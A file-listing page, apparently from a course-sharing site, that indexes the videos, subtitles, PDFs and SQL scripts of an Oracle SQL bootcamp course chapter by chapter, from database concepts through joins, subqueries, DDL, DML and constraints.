[GigaCourse.Com] Udemy - The Complete Oracle SQL Bootcamp (2022)

mp4   Hot:116   Size:9.7 GB   Created:2022-05-22 20:19:24   Update:2023-09-18 09:08:09  

File List

  • 0. Websites you may like/[CourseClub.Me].url 122 B
    0. Websites you may like/[GigaCourse.Com].url 49 B
    01 - Database Concepts/001 What is a Database.mp4 68.7 MB
    01 - Database Concepts/001 What is a Database_en.vtt 8.28 KB
    01 - Database Concepts/002 Why Oracle Database.mp4 61.75 MB
    01 - Database Concepts/002 Why Oracle Database_en.vtt 8.08 KB
    01 - Database Concepts/003 What is a Table.mp4 38.28 MB
    01 - Database Concepts/003 What is a Table_en.vtt 3.68 KB
    01 - Database Concepts/004 UDEMY 101 How to Use Udemy +Some Useful Tips (Do not Skip).mp4 17.71 MB
    01 - Database Concepts/004 UDEMY 101 How to Use Udemy +Some Useful Tips (Do not Skip)_en.vtt 5.4 KB
    01 - Database Concepts/005 Download-the-Working-Document.url 106 B
    01 - Database Concepts/005 The Working Document (Course Slide).html 1.1 KB
    01 - Database Concepts/006 Oracle-Database-12c-Database-SQL-1Z0-071-Exam-2016-07-12.pdf 574.39 KB
    01 - Database Concepts/006 Oracle-Database-12c-Database-SQL-1Z0-071-Exam-2018-06-30.pdf 2.08 MB
    01 - Database Concepts/006 Oracle-Database-12c-SQL-Fundamentals-1Z0-061-Exam-04.03.2017.pdf 1.58 MB
    01 - Database Concepts/006 SQL-Cheatsheet-Oracle-Master.pdf 3.57 MB
    01 - Database Concepts/006 Special Gifts for Our Students!(SQL Cheatsheet & SQL Certification Exam Samples).html 1.26 KB
    01 - Database Concepts/007 What is a Relational Database (RDBMS).mp4 51.95 MB
    01 - Database Concepts/007 What is a Relational Database (RDBMS)_en.vtt 8.13 KB
    01 - Database Concepts/008 Entity Relationship Logic in Databases.mp4 21.21 MB
    01 - Database Concepts/008 Entity Relationship Logic in Databases_en.vtt 4.03 KB
    01 - Database Concepts/009 What is Pluggable Database.mp4 8.7 MB
    01 - Database Concepts/009 What is Pluggable Database_en.vtt 3.4 KB
    01 - Database Concepts/010 Introduction to Database Objects.mp4 112.16 MB
    01 - Database Concepts/010 Introduction to Database Objects_en.vtt 13.9 KB
    01 - Database Concepts/011 HR-Schema-Relationship.png 233.1 KB
    01 - Database Concepts/011 The Sample (HR) Schema Used in This Course.mp4 44.99 MB
    01 - Database Concepts/011 The Sample (HR) Schema Used in This Course_en.vtt 7.91 KB
    01 - Database Concepts/012 What is SQL.mp4 45.32 MB
    01 - Database Concepts/012 What is SQL_en.vtt 5.41 KB
    01 - Database Concepts/external-links.txt 121 B
    02 - Software Download & Installation/001 About the Database Installation.mp4 50.14 MB
    02 - Software Download & Installation/001 About the Database Installation_en.vtt 4.59 KB
    02 - Software Download & Installation/002 The Ways to Get a Database.mp4 66.71 MB
    02 - Software Download & Installation/002 The Ways to Get a Database_en.vtt 18.86 KB
    02 - Software Download & Installation/003 Download-Oracle-Virtualbox.url 65 B
    02 - Software Download & Installation/003 Download-VMware-Workstation-Player.url 109 B
    02 - Software Download & Installation/003 Option 1 Installing VMware and VirtualBox on Windows.mp4 65.87 MB
    02 - Software Download & Installation/003 Option 1 Installing VMware and VirtualBox on Windows_en.vtt 7.9 KB
    02 - Software Download & Installation/004 Option 1 How to Install the Virtual Box on Mac OS X.html 4.02 KB
    02 - Software Download & Installation/005 Download-Virtual-Machine-Image.url 91 B
    02 - Software Download & Installation/005 Option 1 Downloading Virtual Machine Image.mp4 29.1 MB
    02 - Software Download & Installation/005 Option 1 Downloading Virtual Machine Image_en.vtt 4.33 KB
    02 - Software Download & Installation/006 Option 1 Configuring the VMware Virtualization Software.mp4 71.69 MB
    02 - Software Download & Installation/006 Option 1 Configuring the VMware Virtualization Software_en.vtt 8.93 KB
    02 - Software Download & Installation/007 Option 1 Configuring the Oracle VirtualBox Virtualization Software.mp4 46.17 MB
    02 - Software Download & Installation/007 Option 1 Configuring the Oracle VirtualBox Virtualization Software_en.vtt 7.6 KB
    02 - Software Download & Installation/008 Option 1 Configuring SQL Developer inside of the Virtual Machine.mp4 69.71 MB
    02 - Software Download & Installation/008 Option 1 Configuring SQL Developer inside of the Virtual Machine_en.vtt 15.36 KB
    02 - Software Download & Installation/009 Important Note.html 639 B
    02 - Software Download & Installation/010 Option 2 Downloading And Installing Oracle Database.mp4 167.41 MB
    02 - Software Download & Installation/010 Option 2 Downloading And Installing Oracle Database_en.vtt 19.44 KB
    02 - Software Download & Installation/010 Oracles-Official-Website.url 108 B
    02 - Software Download & Installation/011 HR-Schema-Create-Code.sql 70.3 KB
    02 - Software Download & Installation/011 Option 2 HR Schema Create Code (if you could not get the HR user in other ways).html 70.6 KB
    02 - Software Download & Installation/012 -Oracle-Master-Training-Scripts-to-Unlock-the-HR-Schema.pdf 230.84 KB
    02 - Software Download & Installation/012 Option 2 Unlocking the HR Schema.mp4 17 MB
    02 - Software Download & Installation/012 Option 2 Unlocking the HR Schema_en.vtt 8.1 KB
    02 - Software Download & Installation/013 Option 2 Configuring and Using the SQL Developer.mp4 136.86 MB
    02 - Software Download & Installation/013 Option 2 Configuring and Using the SQL Developer_en.vtt 22.89 KB
    02 - Software Download & Installation/014 Installation-Code.txt 1.27 KB
    02 - Software Download & Installation/014 Option 2 Installing Sample Schemas in Oracle Database.mp4 89.57 MB
    02 - Software Download & Installation/014 Option 2 Installing Sample Schemas in Oracle Database_en.vtt 7.47 KB
    02 - Software Download & Installation/014 sample-schemas.zip 14.03 MB
    02 - Software Download & Installation/015 Option 3 Using Oracle Live SQL.mp4 18.78 MB
    02 - Software Download & Installation/015 Option 3 Using Oracle Live SQL_en.vtt 7.47 KB
    02 - Software Download & Installation/016 Option 3 Oracle Live SQL Limitations.html 1.1 KB
    02 - Software Download & Installation/017 SQL Statements Used in This Course.mp4 38.97 MB
    02 - Software Download & Installation/017 SQL Statements Used in This Course_en.vtt 5.33 KB
    02 - Software Download & Installation/018 Don't Forget to Leave a Rating!.html 622 B
    02 - Software Download & Installation/[CourseClub.Me].url 122 B
    02 - Software Download & Installation/[GigaCourse.Com].url 49 B
    02 - Software Download & Installation/external-links.txt 431 B
    03 - Retrieving Data/001 Oracle Data Types.mp4 52.77 MB
    03 - Retrieving Data/001 Oracle Data Types_en.vtt 6.88 KB
    03 - Retrieving Data/002 What is a NULL Value.mp4 36.3 MB
    03 - Retrieving Data/002 What is a NULL Value_en.vtt 5.18 KB
    03 - Retrieving Data/003 DESCRIBE Command.mp4 27.82 MB
    03 - Retrieving Data/003 DESCRIBE Command_en.vtt 4.39 KB
    03 - Retrieving Data/004 INFORMATION Command.mp4 28.07 MB
    03 - Retrieving Data/004 INFORMATION Command_en.vtt 8.36 KB
    03 - Retrieving Data/005 SQL Statement Basics.mp4 73.37 MB
    03 - Retrieving Data/005 SQL Statement Basics_en.vtt 12.62 KB
    03 - Retrieving Data/006 Oracle Error Messages.mp4 27.34 MB
    03 - Retrieving Data/006 Oracle Error Messages_en.vtt 6.61 KB
    03 - Retrieving Data/007 Using SELECT Statements.mp4 23.17 MB
    03 - Retrieving Data/007 Using SELECT Statements_en.vtt 6.23 KB
    03 - Retrieving Data/008 CODE Using SELECT Statements.html 219 B
    03 - Retrieving Data/009 Using Column Aliases.mp4 25.18 MB
    03 - Retrieving Data/009 Using Column Aliases_en.vtt 7.09 KB
    03 - Retrieving Data/010 CODE Using Column Aliases.html 402 B
    03 - Retrieving Data/011 Quote (Q) Operator.mp4 36.86 MB
    03 - Retrieving Data/011 Quote (Q) Operator_en.vtt 8.38 KB
    03 - Retrieving Data/012 DISTINCT and UNIQUE Operator.mp4 52.77 MB
    03 - Retrieving Data/012 DISTINCT and UNIQUE Operator_en.vtt 7.54 KB
    03 - Retrieving Data/013 Concatenation Operators.mp4 30.06 MB
    03 - Retrieving Data/013 Concatenation Operators_en.vtt 7.39 KB
    03 - Retrieving Data/014 Arithmetic Expressions and NULL Values.mp4 61.71 MB
    03 - Retrieving Data/014 Arithmetic Expressions and NULL Values_en.vtt 9.84 KB
    04 - Restricting Data/001 Using WHERE Clause.mp4 18.89 MB
    04 - Restricting Data/001 Using WHERE Clause_en.vtt 4.44 KB
    04 - Restricting Data/002 Comparison Operators.mp4 55.83 MB
    04 - Restricting Data/002 Comparison Operators_en.vtt 6.12 KB
    04 - Restricting Data/003 BETWEEN … AND Operator.mp4 24.69 MB
    04 - Restricting Data/003 BETWEEN … AND Operator_en.vtt 5.3 KB
    04 - Restricting Data/004 IN Operator.mp4 30.18 MB
    04 - Restricting Data/004 IN Operator_en.vtt 9.48 KB
    04 - Restricting Data/005 LIKE Operator.mp4 78.43 MB
    04 - Restricting Data/005 LIKE Operator_en.vtt 11.46 KB
    04 - Restricting Data/006 IS NULL Operator.mp4 19.8 MB
    04 - Restricting Data/006 IS NULL Operator_en.vtt 4.99 KB
    04 - Restricting Data/007 Logical Operators (AND, OR, NOT).mp4 85.59 MB
    04 - Restricting Data/007 Logical Operators (AND, OR, NOT)_en.vtt 13.31 KB
    04 - Restricting Data/008 Rules of Precedence.mp4 35.92 MB
    04 - Restricting Data/008 Rules of Precedence_en.vtt 10 KB
    04 - Restricting Data/009 SQL-Quiz-by-Oracle-Master-Training.pdf 3.34 MB
    05 - Sorting Data/001 ORDER BY Clause.mp4 135.36 MB
    05 - Sorting Data/001 ORDER BY Clause_en.vtt 15 KB
    05 - Sorting Data/002 ASC and DESC Operators.mp4 51.44 MB
    05 - Sorting Data/002 ASC and DESC Operators_en.vtt 9.84 KB
    05 - Sorting Data/003 NULLS FIRST and NULLS LAST Operators.mp4 14.66 MB
    05 - Sorting Data/003 NULLS FIRST and NULLS LAST Operators_en.vtt 4.23 KB
    05 - Sorting Data/004 ROWNUM & ROWID in SQL.mp4 87.59 MB
    05 - Sorting Data/004 ROWNUM & ROWID in SQL_en.vtt 12.69 KB
    05 - Sorting Data/005 Oracle FETCH Clause.mp4 61.03 MB
    05 - Sorting Data/005 Oracle FETCH Clause_en.vtt 12.35 KB
    06 - Using Substitution Variables/001 What is a Substitution Variable.mp4 53.65 MB
    06 - Using Substitution Variables/001 What is a Substitution Variable_en.vtt 15.04 KB
    06 - Using Substitution Variables/002 Double Ampersand (&&) and DEFINE & UNDEFINE Commands.mp4 117.2 MB
    06 - Using Substitution Variables/002 Double Ampersand (&&) and DEFINE & UNDEFINE Commands_en.vtt 18.47 KB
    06 - Using Substitution Variables/003 ACCEPT and PROMPT Commands.mp4 44.94 MB
    06 - Using Substitution Variables/003 ACCEPT and PROMPT Commands_en.vtt 7.91 KB
    06 - Using Substitution Variables/004 SET VERIFY ON SET VERIFY OFF Commands.mp4 41 MB
    06 - Using Substitution Variables/004 SET VERIFY ON SET VERIFY OFF Commands_en.vtt 7.73 KB
    06 - Using Substitution Variables/[CourseClub.Me].url 122 B
    06 - Using Substitution Variables/[GigaCourse.Com].url 49 B
    07 - Single-Row Functions/001 Single Row Functions.mp4 85.27 MB
    07 - Single-Row Functions/001 Single Row Functions_en.vtt 12.42 KB
    07 - Single-Row Functions/002 Character Functions - Case Conversion (LOWER, UPPER, INITCAP) Functios.mp4 56.36 MB
    07 - Single-Row Functions/002 Character Functions - Case Conversion (LOWER, UPPER, INITCAP) Functios_en.vtt 14.14 KB
    07 - Single-Row Functions/003 Character Functions - Character Manipulation Functios (Part 1).mp4 61.95 MB
    07 - Single-Row Functions/003 Character Functions - Character Manipulation Functios (Part 1)_en.vtt 13.44 KB
    07 - Single-Row Functions/004 Character Functions - Character Manipulation Functions Part 2 (INSTR Function).mp4 40.65 MB
    07 - Single-Row Functions/004 Character Functions - Character Manipulation Functions Part 2 (INSTR Function)_en.vtt 10.54 KB
    07 - Single-Row Functions/005 Character Functions - Part 3 (TRIM, LTRIM, RTRIM Functions).mp4 98.64 MB
    07 - Single-Row Functions/005 Character Functions - Part 3 (TRIM, LTRIM, RTRIM Functions)_en.vtt 21.21 KB
    07 - Single-Row Functions/006 Character Functions - Part 4 (REPLACE, LPAD, RPAD Functions).mp4 78.09 MB
    07 - Single-Row Functions/006 Character Functions - Part 4 (REPLACE, LPAD, RPAD Functions)_en.vtt 12.42 KB
    07 - Single-Row Functions/007 Numeric Functions.mp4 54.97 MB
    07 - Single-Row Functions/007 Numeric Functions_en.vtt 16.96 KB
    07 - Single-Row Functions/007 Oracle-Numeric-Functions.url 110 B
    07 - Single-Row Functions/008 Nested Functions.mp4 77.84 MB
    07 - Single-Row Functions/008 Nested Functions_en.vtt 16.2 KB
    07 - Single-Row Functions/009 Date Values & Date Formats in Oracle.mp4 160.35 MB
    07 - Single-Row Functions/009 Date Values & Date Formats in Oracle_en.vtt 25.62 KB
    07 - Single-Row Functions/010 Date Functions & Arithmetic Operations on Dates.mp4 128.11 MB
    07 - Single-Row Functions/010 Date Functions & Arithmetic Operations on Dates_en.vtt 17.79 KB
    07 - Single-Row Functions/011 Date Manipulation Functions in SQL.mp4 81.18 MB
    07 - Single-Row Functions/011 Date Manipulation Functions in SQL_en.vtt 20.68 KB
    07 - Single-Row Functions/external-links.txt 120 B
    08 - Conversion Functions/001 Conversion Functions.mp4 47.4 MB
    08 - Conversion Functions/001 Conversion Functions_en.vtt 11.7 KB
    08 - Conversion Functions/002 TO_CHAR, TO_DATE, TO_NUMBER Functions (Part 1).mp4 73.55 MB
    08 - Conversion Functions/002 TO_CHAR, TO_DATE, TO_NUMBER Functions (Part 1)_en.vtt 17.18 KB
    08 - Conversion Functions/003 TO_CHAR, TO_DATE, TO_NUMBER Functions (Part 2).mp4 108.65 MB
    08 - Conversion Functions/003 TO_CHAR, TO_DATE, TO_NUMBER Functions (Part 2)_en.vtt 16.94 KB
    08 - Conversion Functions/004 Null-Related (NVL, NVL2, NULLIF, COALESCE) Functions.mp4 133.39 MB
    08 - Conversion Functions/004 Null-Related (NVL, NVL2, NULLIF, COALESCE) Functions_en.vtt 21.7 KB
    09 - Conditional Expressions/001 Oracle Conditional Expressions CASE Expressions.mp4 131.04 MB
    09 - Conditional Expressions/001 Oracle Conditional Expressions CASE Expressions_en.vtt 23.79 KB
    09 - Conditional Expressions/002 Oracle Conditional Expressions DECODE Function.mp4 49.16 MB
    09 - Conditional Expressions/002 Oracle Conditional Expressions DECODE Function_en.vtt 9.95 KB
    10 - Group Functions/001 Group Functions.mp4 56.33 MB
    10 - Group Functions/001 Group Functions_en.vtt 8.67 KB
    10 - Group Functions/002 AVG Function.mp4 30.34 MB
    10 - Group Functions/003 COUNT Function.mp4 15.47 MB
    10 - Group Functions/003 COUNT Function_en.vtt 6.78 KB
    10 - Group Functions/004 MAX Function.mp4 31.48 MB
    10 - Group Functions/004 MAX Function_en.vtt 4.73 KB
    10 - Group Functions/005 MIN Function.mp4 14.01 MB
    10 - Group Functions/005 MIN Function_en.vtt 4.78 KB
    10 - Group Functions/006 SUM Function.mp4 9.03 MB
    10 - Group Functions/006 SUM Function_en.vtt 3.87 KB
    10 - Group Functions/007 LISTAGG Function.mp4 33.85 MB
    10 - Group Functions/007 LISTAGG Function_en.vtt 10.28 KB
    10 - Group Functions/008 Overview Of Group Functions.mp4 12.19 MB
    10 - Group Functions/008 Overview Of Group Functions_en.vtt 4.14 KB
    11 - Grouping Data/001 GROUP BY Clause (Part 1).mp4 52.4 MB
    11 - Grouping Data/001 GROUP BY Clause (Part 1)_en.vtt 16.17 KB
    11 - Grouping Data/002 GROUP BY Clause (Part 2).mp4 83.48 MB
    11 - Grouping Data/002 GROUP BY Clause (Part 2)_en.vtt 12.17 KB
    11 - Grouping Data/003 HAVING Clause.mp4 34.92 MB
    11 - Grouping Data/003 HAVING Clause_en.vtt 8.83 KB
    11 - Grouping Data/004 Nested Group Functions.mp4 14.2 MB
    11 - Grouping Data/004 Nested Group Functions_en.vtt 4.59 KB
    11 - Grouping Data/[CourseClub.Me].url 122 B
    11 - Grouping Data/[GigaCourse.Com].url 49 B
    12 - Joining Multiple Tables/001 What is a Join & Oracle SQL Join Types.mp4 60.47 MB
    12 - Joining Multiple Tables/001 What is a Join & Oracle SQL Join Types_en.vtt 7.75 KB
    12 - Joining Multiple Tables/002 Creating a Join.mp4 11.77 MB
    12 - Joining Multiple Tables/002 Creating a Join_en.vtt 3.22 KB
    12 - Joining Multiple Tables/003 Natural Join.mp4 67.05 MB
    12 - Joining Multiple Tables/003 Natural Join_en.vtt 10.22 KB
    12 - Joining Multiple Tables/004 Join with the USING Clause.mp4 25.54 MB
    12 - Joining Multiple Tables/004 Join with the USING Clause_en.vtt 5.82 KB
    12 - Joining Multiple Tables/005 Handling Ambiguous Column Names.mp4 45.1 MB
    12 - Joining Multiple Tables/005 Handling Ambiguous Column Names_en.vtt 11 KB
    12 - Joining Multiple Tables/006 Inner Join & Join with the ON Clause.mp4 25.95 MB
    12 - Joining Multiple Tables/006 Inner Join & Join with the ON Clause_en.vtt 6.97 KB
    12 - Joining Multiple Tables/007 Multiple Join Operations.mp4 111.88 MB
    12 - Joining Multiple Tables/007 Multiple Join Operations_en.vtt 12.05 KB
    12 - Joining Multiple Tables/008 Restricting Joins.mp4 15.41 MB
    12 - Joining Multiple Tables/008 Restricting Joins_en.vtt 3.36 KB
    12 - Joining Multiple Tables/009 Self Join.mp4 29.5 MB
    12 - Joining Multiple Tables/009 Self Join_en.vtt 6.01 KB
    12 - Joining Multiple Tables/010 Non-Equijoins (Joining Unequal Tables).mp4 87.12 MB
    12 - Joining Multiple Tables/010 Non-Equijoins (Joining Unequal Tables)_en.vtt 13.02 KB
    12 - Joining Multiple Tables/010 NonEquiJoins-Source-Code.sql 1.56 KB
    12 - Joining Multiple Tables/011 OUTER JOINS.mp4 31.24 MB
    12 - Joining Multiple Tables/011 OUTER JOINS_en.vtt 8.35 KB
    12 - Joining Multiple Tables/012 LEFT OUTER JOIN (LEFT JOIN).mp4 60.38 MB
    12 - Joining Multiple Tables/012 LEFT OUTER JOIN (LEFT JOIN)_en.vtt 12.75 KB
    12 - Joining Multiple Tables/013 RIGHT OUTER JOIN (RIGHT JOIN).mp4 46.05 MB
    12 - Joining Multiple Tables/013 RIGHT OUTER JOIN (RIGHT JOIN)_en.vtt 8.54 KB
    12 - Joining Multiple Tables/014 FULL OUTER JOIN (FULL JOIN).mp4 15.61 MB
    12 - Joining Multiple Tables/014 FULL OUTER JOIN (FULL JOIN)_en.vtt 3.94 KB
    12 - Joining Multiple Tables/015 Cross Join (Cartesian Product Cross Product).mp4 150.24 MB
    12 - Joining Multiple Tables/015 Cross Join (Cartesian Product Cross Product)_en.vtt 18.01 KB
    12 - Joining Multiple Tables/016 Oracle's Old Style Join Syntax (ANSI vs Non-ANSI Joins) (Part 1).mp4 115.24 MB
    12 - Joining Multiple Tables/016 Oracle's Old Style Join Syntax (ANSI vs Non-ANSI Joins) (Part 1)_en.vtt 13.98 KB
    12 - Joining Multiple Tables/017 Oracle's Old Style Join Syntax (ANSI vs Non-ANSI Joins) (Part 2).mp4 68.91 MB
    12 - Joining Multiple Tables/017 Oracle's Old Style Join Syntax (ANSI vs Non-ANSI Joins) (Part 2)_en.vtt 16.39 KB
    12 - Joining Multiple Tables/018 Oracle's Old Style Join Syntax (ANSI vs Non-ANSI Joins) (Part 3).mp4 64.82 MB
    12 - Joining Multiple Tables/018 Oracle's Old Style Join Syntax (ANSI vs Non-ANSI Joins) (Part 3)_en.vtt 10.81 KB
    12 - Joining Multiple Tables/019 Source-Code-Differences-Between-All-Types-of-Joins.sql 2.62 KB
    12 - Joining Multiple Tables/019 The Differences Between The Inner Joins & Outer Joins, Equijoins & Non-Equijoins.mp4 101.36 MB
    12 - Joining Multiple Tables/019 The Differences Between The Inner Joins & Outer Joins, Equijoins & Non-Equijoins_en.vtt 14.83 KB
    12 - Joining Multiple Tables/020 Which Join Type Should You Use.mp4 9.98 MB
    12 - Joining Multiple Tables/020 Which Join Type Should You Use_en.vtt 4.1 KB
    12 - Joining Multiple Tables/021 Entity-Relationship Models in DBMS - How to Use Them with Joins.mp4 72.73 MB
    12 - Joining Multiple Tables/021 Entity-Relationship Models in DBMS - How to Use Them with Joins_en.vtt 18.45 KB
    13 - Using Subqueries/001 Using Subqueries.mp4 48.8 MB
    13 - Using Subqueries/001 Using Subqueries_en.vtt 7.87 KB
    13 - Using Subqueries/002 Single Row Subqueries.mp4 126.56 MB
    13 - Using Subqueries/002 Single Row Subqueries_en.vtt 14.23 KB
    13 - Using Subqueries/003 Multiple Row Subqueries.mp4 98.25 MB
    13 - Using Subqueries/003 Multiple Row Subqueries_en.vtt 18.47 KB
    13 - Using Subqueries/004 Multiple Column Subqueries.mp4 63.72 MB
    13 - Using Subqueries/004 Multiple Column Subqueries_en.vtt 17.52 KB
    13 - Using Subqueries/005 Using Subqueries as a Table.mp4 60.1 MB
    13 - Using Subqueries/005 Using Subqueries as a Table_en.vtt 8.31 KB
    13 - Using Subqueries/006 SCALAR Subqueries.mp4 56.57 MB
    13 - Using Subqueries/006 SCALAR Subqueries_en.vtt 15.52 KB
    13 - Using Subqueries/007 Correlated Subqueries.mp4 74.88 MB
    13 - Using Subqueries/007 Correlated Subqueries_en.vtt 15.38 KB
    13 - Using Subqueries/008 EXISTS Operator & Semijoins.mp4 47.05 MB
    13 - Using Subqueries/008 EXISTS Operator & Semijoins_en.vtt 12.33 KB
    13 - Using Subqueries/009 NOT EXISTS Operator.mp4 37.42 MB
    13 - Using Subqueries/009 NOT EXISTS Operator_en.vtt 6.43 KB
    14 - Working with the Oracle SET Operators/001 Introduction to SET Operators in Oracle SQL.mp4 112.6 MB
    14 - Working with the Oracle SET Operators/001 Introduction to SET Operators in Oracle SQL_en.vtt 15.93 KB
    14 - Working with the Oracle SET Operators/002 Source-Code-UNION-and-UNION-ALL-SET-Operators.sql 1.02 KB
    14 - Working with the Oracle SET Operators/002 UNION and UNION ALL Operators.mp4 64.64 MB
    14 - Working with the Oracle SET Operators/002 UNION and UNION ALL Operators_en.vtt 14.74 KB
    14 - Working with the Oracle SET Operators/003 INTERSECT Operator.mp4 7.44 MB
    14 - Working with the Oracle SET Operators/003 INTERSECT Operator_en.vtt 3.13 KB
    14 - Working with the Oracle SET Operators/004 MINUS Operator.mp4 14.85 MB
    14 - Working with the Oracle SET Operators/004 MINUS Operator_en.vtt 4.04 KB
    14 - Working with the Oracle SET Operators/005 Matching Unmatched Queries in SET Operations.mp4 22.17 MB
    14 - Working with the Oracle SET Operators/005 Matching Unmatched Queries in SET Operations_en.vtt 6.16 KB
    14 - Working with the Oracle SET Operators/006 Using the ORDER BY Clause with SET Operators.mp4 30.04 MB
    14 - Working with the Oracle SET Operators/006 Using the ORDER BY Clause with SET Operators_en.vtt 7.4 KB
    14 - Working with the Oracle SET Operators/007 Combining Multiple Queries Using the SET Operators.mp4 26.99 MB
    14 - Working with the Oracle SET Operators/007 Combining Multiple Queries Using the SET Operators_en.vtt 6.12 KB
    14 - Working with the Oracle SET Operators/007 Source-Code-Combining-Multiple-Queries-Using-the-SET-Operators.sql 2.46 KB
    15 - Data Definition Language (DDL) Statements/001 Data Definition Language (DDL).mp4 14.77 MB
    15 - Data Definition Language (DDL) Statements/001 Data Definition Language (DDL)_en.vtt 4.29 KB
    15 - Data Definition Language (DDL) Statements/002 Naming Rules & Naming Conventions in Oracle.mp4 85.05 MB
    15 - Data Definition Language (DDL) Statements/002 Naming Rules & Naming Conventions in Oracle_en.vtt 11.83 KB
    15 - Data Definition Language (DDL) Statements/003 CREATE TABLE Statement.mp4 64.67 MB
    15 - Data Definition Language (DDL) Statements/003 CREATE TABLE Statement_en.vtt 9.31 KB
    15 - Data Definition Language (DDL) Statements/004 CREATE TABLE AS SELECT (CTAS) Statement in Oracle.mp4 103.38 MB
    15 - Data Definition Language (DDL) Statements/004 CREATE TABLE AS SELECT (CTAS) Statement in Oracle_en.vtt 12.38 KB
    15 - Data Definition Language (DDL) Statements/005 ALTER TABLE Statement.mp4 156.25 MB
    15 - Data Definition Language (DDL) Statements/005 ALTER TABLE Statement_en.vtt 18.26 KB
    15 - Data Definition Language (DDL) Statements/006 Marking Columns Unused (Using The SET UNUSED Clause).mp4 67.19 MB
    15 - Data Definition Language (DDL) Statements/006 Marking Columns Unused (Using The SET UNUSED Clause)_en.vtt 9.26 KB
    15 - Data Definition Language (DDL) Statements/007 READ-ONLY Tables in SQL.mp4 46.74 MB
    15 - Data Definition Language (DDL) Statements/007 READ-ONLY Tables in SQL_en.vtt 7.03 KB
    15 - Data Definition Language (DDL) Statements/008 DROP TABLE Statement.mp4 50.71 MB
    15 - Data Definition Language (DDL) Statements/008 DROP TABLE Statement_en.vtt 8.8 KB
    15 - Data Definition Language (DDL) Statements/009 TRUNCATE TABLE Statement.mp4 67.21 MB
    15 - Data Definition Language (DDL) Statements/009 TRUNCATE TABLE Statement_en.vtt 10.51 KB
    15 - Data Definition Language (DDL) Statements/010 COMMENT Statement.mp4 72.6 MB
    15 - Data Definition Language (DDL) Statements/010 COMMENT Statement_en.vtt 9.58 KB
    15 - Data Definition Language (DDL) Statements/011 RENAME Statement.mp4 37.97 MB
    15 - Data Definition Language (DDL) Statements/011 RENAME Statement_en.vtt 5.7 KB
    16 - Data Manipulation Language (DML) Statements/001 Data Manipulation Language (DML).mp4 41.69 MB
    16 - Data Manipulation Language (DML) Statements/001 Data Manipulation Language (DML)_en.vtt 5.34 KB
    16 - Data Manipulation Language (DML) Statements/002 INSERT Statement (Part 1).mp4 84.69 MB
    16 - Data Manipulation Language (DML) Statements/002 INSERT Statement (Part 1)_en.vtt 14.46 KB
    16 - Data Manipulation Language (DML) Statements/003 INSERT Statement (Part 2).mp4 167.52 MB
    16 - Data Manipulation Language (DML) Statements/003 INSERT Statement (Part 2)_en.vtt 18.94 KB
    16 - Data Manipulation Language (DML) Statements/004 Multitable Insert Statements.mp4 21.8 MB
    16 - Data Manipulation Language (DML) Statements/004 Multitable Insert Statements_en.vtt 3.19 KB
    16 - Data Manipulation Language (DML) Statements/005 Unconditional Insert Statements (INSERT ALL Statements).mp4 48.69 MB
    16 - Data Manipulation Language (DML) Statements/005 Unconditional Insert Statements (INSERT ALL Statements)_en.vtt 10.98 KB
    16 - Data Manipulation Language (DML) Statements/006 Conditional INSERT ALL Statements.mp4 116.51 MB
    16 - Data Manipulation Language (DML) Statements/006 Conditional INSERT ALL Statements_en.vtt 13.27 KB
    16 - Data Manipulation Language (DML) Statements/007 Conditional INSERT FIRST Statements.mp4 30.22 MB
    16 - Data Manipulation Language (DML) Statements/007 Conditional INSERT FIRST Statements_en.vtt 6.5 KB
    16 - Data Manipulation Language (DML) Statements/008 Pivoting Insert.mp4 74.66 MB
    16 - Data Manipulation Language (DML) Statements/008 Pivoting Insert_en.vtt 9.83 KB
    16 - Data Manipulation Language (DML) Statements/009 UPDATE Statement.mp4 45.52 MB
    16 - Data Manipulation Language (DML) Statements/009 UPDATE Statement_en.vtt 11.61 KB
    16 - Data Manipulation Language (DML) Statements/010 DELETE Statement.mp4 38.01 MB
    16 - Data Manipulation Language (DML) Statements/010 DELETE Statement_en.vtt 4.46 KB
    16 - Data Manipulation Language (DML) Statements/011 MERGE Statement.mp4 148.17 MB
    16 - Data Manipulation Language (DML) Statements/011 MERGE Statement_en.vtt 20.18 KB
    16 - Data Manipulation Language (DML) Statements/012 (TCL) Transaction Control Language & TCL Commands.mp4 18.12 MB
    16 - Data Manipulation Language (DML) Statements/012 (TCL) Transaction Control Language & TCL Commands_en.vtt 6.52 KB
    16 - Data Manipulation Language (DML) Statements/013 COMMIT and ROLLBACK Statements.mp4 101.29 MB
    16 - Data Manipulation Language (DML) Statements/013 COMMIT and ROLLBACK Statements_en.vtt 13.16 KB
    16 - Data Manipulation Language (DML) Statements/014 Row Lock in Oracle.mp4 25.97 MB
    16 - Data Manipulation Language (DML) Statements/014 Row Lock in Oracle_en.vtt 9.63 KB
    16 - Data Manipulation Language (DML) Statements/015 SAVEPOINT Statement.mp4 60.64 MB
    16 - Data Manipulation Language (DML) Statements/015 SAVEPOINT Statement_en.vtt 14.49 KB
    16 - Data Manipulation Language (DML) Statements/015 SAVEPOINT-Statement.sql 897 B
    16 - Data Manipulation Language (DML) Statements/016 FOR UPDATE Statement.mp4 145.85 MB
    16 - Data Manipulation Language (DML) Statements/016 FOR UPDATE Statement_en.vtt 16.84 KB
    16 - Data Manipulation Language (DML) Statements/[CourseClub.Me].url 122 B
    16 - Data Manipulation Language (DML) Statements/[GigaCourse.Com].url 49 B
    17 - Constraints/001 What is a Constraint Oracle Constraint Types.mp4 28.51 MB
    17 - Constraints/001 What is a Constraint Oracle Constraint Types_en.vtt 7.76 KB
    17 - Constraints/002 NOT NULL Constraint.mp4 22.97 MB
    17 - Constraints/002 NOT NULL Constraint_en.vtt 6.88 KB
    17 - Constraints/003 UNIQUE Constraint.mp4 132.99 MB
    17 - Constraints/003 UNIQUE Constraint_en.vtt 24.03 KB
    17 - Constraints/004 PRIMARY KEY Constraint.mp4 58.1 MB
    17 - Constraints/004 PRIMARY KEY Constraint_en.vtt 12.08 KB
    17 - Constraints/005 FOREIGN KEY Constraint (Part 1).mp4 107.56 MB
    17 - Constraints/005 FOREIGN KEY Constraint (Part 1)_en.vtt 14.13 KB
    17 - Constraints/006 FOREIGN KEY Constraint (Part 2).mp4 66.07 MB
    17 - Constraints/006 FOREIGN KEY Constraint (Part 2)_en.vtt 10.89 KB
    17 - Constraints/007 The ON DELETE CASCADE ON DELETE SET NULL Clause.mp4 38.05 MB
    17 - Constraints/007 The ON DELETE CASCADE ON DELETE SET NULL Clause_en.vtt 8.64 KB
    17 - Constraints/008 CHECK Constraint.mp4 29.76 MB
    17 - Constraints/008 CHECK Constraint_en.vtt 8.65 KB
    17 - Constraints/009 Adding Constraints via ALTER TABLE Statements.mp4 73.86 MB
